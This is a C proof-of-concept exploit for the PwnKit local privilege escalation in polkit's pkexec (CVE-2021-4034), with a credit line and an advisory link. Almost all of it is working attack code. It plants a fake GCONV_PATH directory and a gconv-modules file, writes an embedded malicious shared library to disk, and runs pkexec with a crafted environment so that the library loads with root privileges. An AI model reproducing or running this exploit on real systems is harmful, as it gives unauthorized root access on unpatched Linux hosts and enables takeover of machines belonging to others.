/* * Proof of Concept for PwnKit: Local Privilege Escalation Vulnerability Discovered in polkit’s pkexec (CVE-2021-4034) by Andris Raugulis * Advisory: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034 */ #include #include #include #include "pwnkit.so.inc" int main(int argc, char *argv[]) { FILE *fp; system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'"); system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 2' > pwnkit/gconv-modules"); fp = fopen("pwnkit/pwnkit.so", "w+"); if (!fp) exit(-1); fwrite(pwnkit_so, pwnkit_so_len, 1, fp); fclose(fp); char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "SHELL=pwnkit", NULL }; execve("/usr/bin/pkexec", (char*[]){NULL}, env); }